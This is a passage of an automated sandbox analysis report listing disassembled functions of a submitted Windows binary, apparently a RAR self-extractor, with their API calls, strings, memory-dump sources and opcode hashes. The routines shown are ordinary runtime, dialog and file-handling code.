                  • Part of subcall function 00BEB3BE: _free.LIBCMT ref: 00BEB435
                  • Part of subcall function 00BEB3BE: _free.LIBCMT ref: 00BEB447
                  • Part of subcall function 00BEB3BE: _free.LIBCMT ref: 00BEB459
                  • Part of subcall function 00BEB3BE: _free.LIBCMT ref: 00BEB46B
                  • Part of subcall function 00BEB3BE: _free.LIBCMT ref: 00BEB47D
                  • Part of subcall function 00BEB3BE: _free.LIBCMT ref: 00BEB48F
                  • Part of subcall function 00BEB3BE: _free.LIBCMT ref: 00BEB4A1
                  • Part of subcall function 00BEB3BE: _free.LIBCMT ref: 00BEB4B3
                • _free.LIBCMT ref: 00BEB818
                  • Part of subcall function 00BE7AC6: RtlFreeHeap.NTDLL(00000000,00000000,?,00BEB553,?,00000000,?,00000000,?,00BEB57A,?,00000007,?,?,00BEB977,?), ref: 00BE7ADC
                  • Part of subcall function 00BE7AC6: GetLastError.KERNEL32(?,?,00BEB553,?,00000000,?,00000000,?,00BEB57A,?,00000007,?,?,00BEB977,?,?), ref: 00BE7AEE
                • _free.LIBCMT ref: 00BEB83A
                • _free.LIBCMT ref: 00BEB84F
                • _free.LIBCMT ref: 00BEB85A
                • _free.LIBCMT ref: 00BEB87C
                • _free.LIBCMT ref: 00BEB88F
                • _free.LIBCMT ref: 00BEB89D
                • _free.LIBCMT ref: 00BEB8A8
                • _free.LIBCMT ref: 00BEB8E0
                • _free.LIBCMT ref: 00BEB8E7
                • _free.LIBCMT ref: 00BEB904
                • _free.LIBCMT ref: 00BEB91C
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: _free$ErrorFreeHeapLast___free_lconv_mon
                • String ID:
                • API String ID: 161543041-0
                • Opcode ID: 6f4303923d36a9a29988c0b2032a305502b8aaf187eb800519dacf99900da723
                • Instruction ID: 3f73cf89c87c7ed73fc014564db482ae18ec790a4d69ae643a750364b623c9e9
                • Opcode Fuzzy Hash: 6f4303923d36a9a29988c0b2032a305502b8aaf187eb800519dacf99900da723
                • Instruction Fuzzy Hash: EE313B31A04685AFEB30EA3AD849F5B73E9FF00350F1458A9E459D72A6DF35AD40CB50
                Function 00BDA43C Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 99windowCOMMON
                Download Yara Rule
                APIs
                  • Part of subcall function 00BC12D7: GetDlgItem.USER32(00000000,00003021), ref: 00BC131B
                  • Part of subcall function 00BC12D7: SetWindowTextW.USER32(00000000,00BF22E4), ref: 00BC1331
                • EndDialog.USER32(?,00000001), ref: 00BDA48C
                • SendMessageW.USER32(?,00000080,00000001,?), ref: 00BDA4B9
                • SendDlgItemMessageW.USER32(?,00000066,00000172,00000000,?), ref: 00BDA4CE
                • SetWindowTextW.USER32(?,?), ref: 00BDA4DF
                • GetDlgItem.USER32(?,00000065), ref: 00BDA4E8
                • SendMessageW.USER32(00000000,00000435,00000000,00010000), ref: 00BDA4FC
                • SendMessageW.USER32(00000000,00000443,00000000,00000000), ref: 00BDA50E
                • SetForegroundWindow.USER32(?), ref: 00BDA511
                Strings
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: MessageSend$ItemWindow$Text$DialogForeground
                • String ID: LICENSEDLG
                • API String ID: 3249366922-2177901306
                • Opcode ID: 5296dfdc7953b96a12b0050675d7f7b6db5b7e92924f2819f119de55c6dddcc3
                • Instruction ID: 91e11b5d50a06b956b896d798dcff0ce16347024b1df72fec801c6207a13d4d3
                • Opcode Fuzzy Hash: 5296dfdc7953b96a12b0050675d7f7b6db5b7e92924f2819f119de55c6dddcc3
                • Instruction Fuzzy Hash: 392171312042047BE6119B36EC89F7FBBADEB47B45F014059F601E72A0DB959911DA72
                Function 00BDC399 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 80windowCOMMON
                Download Yara Rule
                APIs
                • GetWindow.USER32(?,00000005), ref: 00BDC3BA
                • GetClassNameW.USER32(00000000,?,00000800), ref: 00BDC3E9
                  • Part of subcall function 00BD1438: CompareStringW.KERNEL32(00000400,00001001,00000000,000000FF,?,000000FF,00BCADA2,?,?,?,00BCAD51,?,-00000002,?,00000000,?), ref: 00BD144E
                • GetWindowLongW.USER32(00000000,000000F0), ref: 00BDC407
                • SendMessageW.USER32(00000000,00000173,00000000,00000000), ref: 00BDC41E
                • GetObjectW.GDI32(00000000,00000018,?), ref: 00BDC431
                  • Part of subcall function 00BD95FF: GetDC.USER32(00000000), ref: 00BD960B
                  • Part of subcall function 00BD95FF: GetDeviceCaps.GDI32(00000000,0000005A), ref: 00BD961A
                  • Part of subcall function 00BD95FF: ReleaseDC.USER32(00000000,00000000), ref: 00BD9628
                  • Part of subcall function 00BD95BC: GetDC.USER32(00000000), ref: 00BD95C8
                  • Part of subcall function 00BD95BC: GetDeviceCaps.GDI32(00000000,00000058), ref: 00BD95D7
                  • Part of subcall function 00BD95BC: ReleaseDC.USER32(00000000,00000000), ref: 00BD95E5
                • SendMessageW.USER32(00000000,00000172,00000000,00000000), ref: 00BDC458
                • DeleteObject.GDI32(00000000), ref: 00BDC45F
                • GetWindow.USER32(00000000,00000002), ref: 00BDC468
                Strings
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: Window$CapsDeviceMessageObjectReleaseSend$ClassCompareDeleteLongNameString
                • String ID: STATIC
                • API String ID: 1444658586-1882779555
                • Opcode ID: 1c8347685cc27d8606c16bf705289c30f8689ef5e0ec28970f872a9a1ee568fe
                • Instruction ID: db433b83f7aef4408b7e6d85ddd78d6fb2c01a27bd643689c271da86836d92e0
                • Opcode Fuzzy Hash: 1c8347685cc27d8606c16bf705289c30f8689ef5e0ec28970f872a9a1ee568fe
                • Instruction Fuzzy Hash: D921F6725402157BEB216B649C4AFFFBAADDF14B00F004152FA05A7391EB744E41DAA4
                Function 00BE847D Relevance: 15.1, APIs: 10, Instructions: 54COMMON
                Download Yara Rule
                APIs
                • _free.LIBCMT ref: 00BE8491
                  • Part of subcall function 00BE7AC6: RtlFreeHeap.NTDLL(00000000,00000000,?,00BEB553,?,00000000,?,00000000,?,00BEB57A,?,00000007,?,?,00BEB977,?), ref: 00BE7ADC
                  • Part of subcall function 00BE7AC6: GetLastError.KERNEL32(?,?,00BEB553,?,00000000,?,00000000,?,00BEB57A,?,00000007,?,?,00BEB977,?,?), ref: 00BE7AEE
                • _free.LIBCMT ref: 00BE849D
                • _free.LIBCMT ref: 00BE84A8
                • _free.LIBCMT ref: 00BE84B3
                • _free.LIBCMT ref: 00BE84BE
                • _free.LIBCMT ref: 00BE84C9
                • _free.LIBCMT ref: 00BE84D4
                • _free.LIBCMT ref: 00BE84DF
                • _free.LIBCMT ref: 00BE84EA
                • _free.LIBCMT ref: 00BE84F8
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: _free$ErrorFreeHeapLast
                • String ID:
                • API String ID: 776569668-0
                • Opcode ID: 43df8a32dd1313d1210b7c71ca8b6cc07180bff5a77e080872b87f61803179e4
                • Instruction ID: 629fa23e1486b2bcf6be2c7c10924996a11ed7b2ad7c95f37b60ce9f0dd24c98
                • Opcode Fuzzy Hash: 43df8a32dd1313d1210b7c71ca8b6cc07180bff5a77e080872b87f61803179e4
                • Instruction Fuzzy Hash: D911A276144148BFCB01EF96CA46CDD3BE5EF04350B0595A1BA088F236EB35EB509B80
                Function 00BC20F7 Relevance: 14.5, APIs: 5, Strings: 3, Instructions: 480COMMON
                Download Yara Rule
                Strings
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID:
                • String ID: ;%u$x%u$xc%u
                • API String ID: 0-2277559157
                • Opcode ID: 8030e8de1613bbdff1f0e9818f5dd0965adf55d6c1f99ce8cf07ff51891fa888
                • Instruction ID: 40c4d858f360e1cc9ba014456a5c25dcf108a897db1464ccae4779dac100eb79
                • Opcode Fuzzy Hash: 8030e8de1613bbdff1f0e9818f5dd0965adf55d6c1f99ce8cf07ff51891fa888
                • Instruction Fuzzy Hash: 70F108716043809BDB15EF2488D5FFE7BD5AF90300F0845FEF98A8B286DA649D45C762
                Function 00BC9300 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 137fileCOMMON
                Download Yara Rule
                APIs
                • __EH_prolog.LIBCMT ref: 00BC9305
                • GetLongPathNameW.KERNEL32(?,?,00000800), ref: 00BC9328
                • GetShortPathNameW.KERNEL32(?,?,00000800), ref: 00BC9347
                  • Part of subcall function 00BD1438: CompareStringW.KERNEL32(00000400,00001001,00000000,000000FF,?,000000FF,00BCADA2,?,?,?,00BCAD51,?,-00000002,?,00000000,?), ref: 00BD144E
                • _swprintf.LIBCMT ref: 00BC93E3
                  • Part of subcall function 00BC3F53: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00BC3F66
                • MoveFileW.KERNEL32(?,?), ref: 00BC9458
                • MoveFileW.KERNEL32(?,?), ref: 00BC9494
                Strings
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: FileMoveNamePath$CompareH_prologLongShortString__vswprintf_c_l_swprintf
                • String ID: rtmp%d
                • API String ID: 2111052971-3303766350
                • Opcode ID: a939e37f7aefa340eda94ac6a6b5ca79e9a9e532bbab487a6fe195a3338f1d3b
                • Instruction ID: fa450f4070162fabbfce928c5e4fc7e163bd3480c1453d4b247f413bb3207294
                • Opcode Fuzzy Hash: a939e37f7aefa340eda94ac6a6b5ca79e9a9e532bbab487a6fe195a3338f1d3b
                • Instruction Fuzzy Hash: 16417E76911658A6EF20FBA08D49FEA73BCAF44381F0444EDB609E3241EA349B45CF64
                Function 00BD892A Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 124memoryCOMMON
                Download Yara Rule
                APIs
                • GlobalAlloc.KERNEL32(00000040,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00BD880B), ref: 00BD89FF
                • WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000003,?,00000000,00000000), ref: 00BD8A20
                • CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 00BD8A47
                Strings
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: Global$AllocByteCharCreateMultiStreamWide
                • String ID: </html>$<head><meta http-equiv="content-type" content="text/html; charset=$<html>$utf-8"></head>
                • API String ID: 4094277203-4209811716
                • Opcode ID: 2f3d185e6e0c94d19335073d22ca6b1f21c688659b92df2ddbfc3d1ced9e2fbf
                • Instruction ID: 1854bd076c3c7b4f19689b6ebcaa9710e011ec50eb95aaf07892b11ae2764d7e
                • Opcode Fuzzy Hash: 2f3d185e6e0c94d19335073d22ca6b1f21c688659b92df2ddbfc3d1ced9e2fbf
                • Instruction Fuzzy Hash: 553110321043457EE314AB619C46F6FBBECDF61761F10419BF900962C2FF74AA0983A6
                Function 00BD0708 Relevance: 12.1, APIs: 8, Instructions: 117timeCOMMON
                Download Yara Rule
                APIs
                • __aulldiv.LIBCMT ref: 00BD071B
                  • Part of subcall function 00BCAA39: GetVersionExW.KERNEL32(?), ref: 00BCAA5E
                • FileTimeToLocalFileTime.KERNEL32(?,?,00000000,?,00000064,00000000,?,00000000,?), ref: 00BD0744
                • FileTimeToSystemTime.KERNEL32(?,?,00000000,?,00000064,00000000,?,00000000,?), ref: 00BD0756
                • SystemTimeToTzSpecificLocalTime.KERNEL32(00000000,?,?), ref: 00BD0763
                • SystemTimeToFileTime.KERNEL32(?,?), ref: 00BD0779
                • SystemTimeToFileTime.KERNEL32(?,?), ref: 00BD0785
                • FileTimeToSystemTime.KERNEL32(?,?), ref: 00BD07BB
                • __aullrem.LIBCMT ref: 00BD0845
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: Time$File$System$Local$SpecificVersion__aulldiv__aullrem
                • String ID:
                • API String ID: 1247370737-0
                • Opcode ID: 614025ebf39e2f0e177ab2a0db54b6e494091e313a62c92ab3022eda5702bcce
                • Instruction ID: ad5e8420aefac81b14c1f83c3bc2194f5d0dc9a2e608a5bbfe745d0740cf7986
                • Opcode Fuzzy Hash: 614025ebf39e2f0e177ab2a0db54b6e494091e313a62c92ab3022eda5702bcce
                • Instruction Fuzzy Hash: 9E4119B24083059FC314DFA5C880A6BF7E8FB88714F004A2FF59692650E775E548DB95
                Function 00BEE33D Relevance: 10.7, APIs: 7, Instructions: 152fileCOMMON
                Download Yara Rule
                APIs
                • GetConsoleCP.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,00BEEAB2,00000000,00000000,00000000,00000000,00000000,00BE401F), ref: 00BEE37F
                • __fassign.LIBCMT ref: 00BEE3FA
                • __fassign.LIBCMT ref: 00BEE415
                • WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000001,00000000,00000005,00000000,00000000), ref: 00BEE43B
                • WriteFile.KERNEL32(?,00000000,00000000,00BEEAB2,00000000,?,?,?,?,?,?,?,?,?,00BEEAB2,00000000), ref: 00BEE45A
                • WriteFile.KERNEL32(?,00000000,00000001,00BEEAB2,00000000,?,?,?,?,?,?,?,?,?,00BEEAB2,00000000), ref: 00BEE493
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: FileWrite__fassign$ByteCharConsoleMultiWide
                • String ID:
                • API String ID: 1324828854-0
                • Opcode ID: b5004c812332a7724228b0b8562bed4d6b7276c632979efcad92c495807e1bc9
                • Instruction ID: 174456ab194e78d734d5f245f821835f82f5ce608d75d4d644e3300c936b2e94
                • Opcode Fuzzy Hash: b5004c812332a7724228b0b8562bed4d6b7276c632979efcad92c495807e1bc9
                • Instruction Fuzzy Hash: 96519471A002499FDB10DFA9D885BEEBBF9EF09310F1441AAE565E7391E730E941CB60
                Function 00BDBBB6 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 135COMMON
                Download Yara Rule
                APIs
                • GetTempPathW.KERNEL32(00000800,?), ref: 00BDBBCC
                • _swprintf.LIBCMT ref: 00BDBC00
                  • Part of subcall function 00BC3F53: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00BC3F66
                • SetDlgItemTextW.USER32(?,00000066,00C085FA), ref: 00BDBC20
                • _wcschr.LIBVCRUNTIME ref: 00BDBC53
                • EndDialog.USER32(?,00000001), ref: 00BDBD34
                Strings
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: DialogItemPathTempText__vswprintf_c_l_swprintf_wcschr
                • String ID: %s%s%u
                • API String ID: 2892007947-1360425832
                • Opcode ID: 8db02e5d11d2b981f34c02c5171ce3eac1832126fc343025b2dea6529579a54a
                • Instruction ID: 215e3dbd381f0049fa350e1991c8772ad2aaab38cc7a145a11f0d06d45e02454
                • Opcode Fuzzy Hash: 8db02e5d11d2b981f34c02c5171ce3eac1832126fc343025b2dea6529579a54a
                • Instruction Fuzzy Hash: 41412971900219AEEF259B60CD85FEEB7F9EB04304F0180E7E919E6251EF709A84CF54
                Function 00BD9059 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 108COMMON
                Download Yara Rule
                APIs
                • ShowWindow.USER32(?,00000000), ref: 00BD9072
                • GetWindowRect.USER32(?,00000000), ref: 00BD90B7
                • ShowWindow.USER32(?,00000005,00000000), ref: 00BD914E
                • SetWindowTextW.USER32(?,00000000), ref: 00BD9156
                • ShowWindow.USER32(00000000,00000005), ref: 00BD916C
                Strings
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: Window$Show$RectText
                • String ID: RarHtmlClassName
                • API String ID: 3937224194-1658105358
                • Opcode ID: a203793c88213336a739e93b9e3a8eb762ee94e66839237c14277ec6baab6d1f
                • Instruction ID: e096787fe6e37be199fce5cb6d9ef8be2cc10519b701615e1d468c1187d67a91
                • Opcode Fuzzy Hash: a203793c88213336a739e93b9e3a8eb762ee94e66839237c14277ec6baab6d1f
                • Instruction Fuzzy Hash: 58319F31404201EFCB219F64DC88F6BBBE9EF48701F00859AF94AA7256DB30D800CB61
                Function 00BEB561 Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE
                Download Yara Rule
                APIs
                  • Part of subcall function 00BEB525: _free.LIBCMT ref: 00BEB54E
                • _free.LIBCMT ref: 00BEB5AF
                  • Part of subcall function 00BE7AC6: RtlFreeHeap.NTDLL(00000000,00000000,?,00BEB553,?,00000000,?,00000000,?,00BEB57A,?,00000007,?,?,00BEB977,?), ref: 00BE7ADC
                  • Part of subcall function 00BE7AC6: GetLastError.KERNEL32(?,?,00BEB553,?,00000000,?,00000000,?,00BEB57A,?,00000007,?,?,00BEB977,?,?), ref: 00BE7AEE
                • _free.LIBCMT ref: 00BEB5BA
                • _free.LIBCMT ref: 00BEB5C5
                • _free.LIBCMT ref: 00BEB619
                • _free.LIBCMT ref: 00BEB624
                • _free.LIBCMT ref: 00BEB62F
                • _free.LIBCMT ref: 00BEB63A
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: _free$ErrorFreeHeapLast
                • String ID:
                • API String ID: 776569668-0
                • Opcode ID: 35f294bb21a7bd77ad2cd66a92d5d152bcc947fc6b4983fb665ce87d90ccf861
                • Instruction ID: 75cb82f36d57ef21ca69c7f65f410e3173280c166badc667d249bf6061d7889a
                • Opcode Fuzzy Hash: 35f294bb21a7bd77ad2cd66a92d5d152bcc947fc6b4983fb665ce87d90ccf861
                • Instruction Fuzzy Hash: 67115171945B88BAD530FBB2DC0BFDB77ECAF04700F444865B29966066EB69F6044750
                Function 00BE1694 Relevance: 10.6, APIs: 7, Instructions: 60COMMONLIBRARYCODE
                Download Yara Rule
                APIs
                • GetLastError.KERNEL32(?,?,00BE168B,00BDF0E2), ref: 00BE16A2
                • ___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00BE16B0
                • ___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00BE16C9
                • SetLastError.KERNEL32(00000000,?,00BE168B,00BDF0E2), ref: 00BE171B
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: ErrorLastValue___vcrt_
                • String ID:
                • API String ID: 3852720340-0
                • Opcode ID: 6711357e8da1a973de9d5f4988a67de259f8bf0ae001a1d296b07be8015409b6
                • Instruction ID: e6b896ea22ef08f5e53b7824b250857aa2964eefa7742478df33aaa561792894
                • Opcode Fuzzy Hash: 6711357e8da1a973de9d5f4988a67de259f8bf0ae001a1d296b07be8015409b6
                • Instruction Fuzzy Hash: 3001DF373092916EA7292F7B7C8A93A2BE9EF417717300ABAF514870E2EF614C01F144
                Function 00BDD2D0 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 50COMMONLIBRARYCODE
                Download Yara Rule
                Strings
                Memory Dump Source
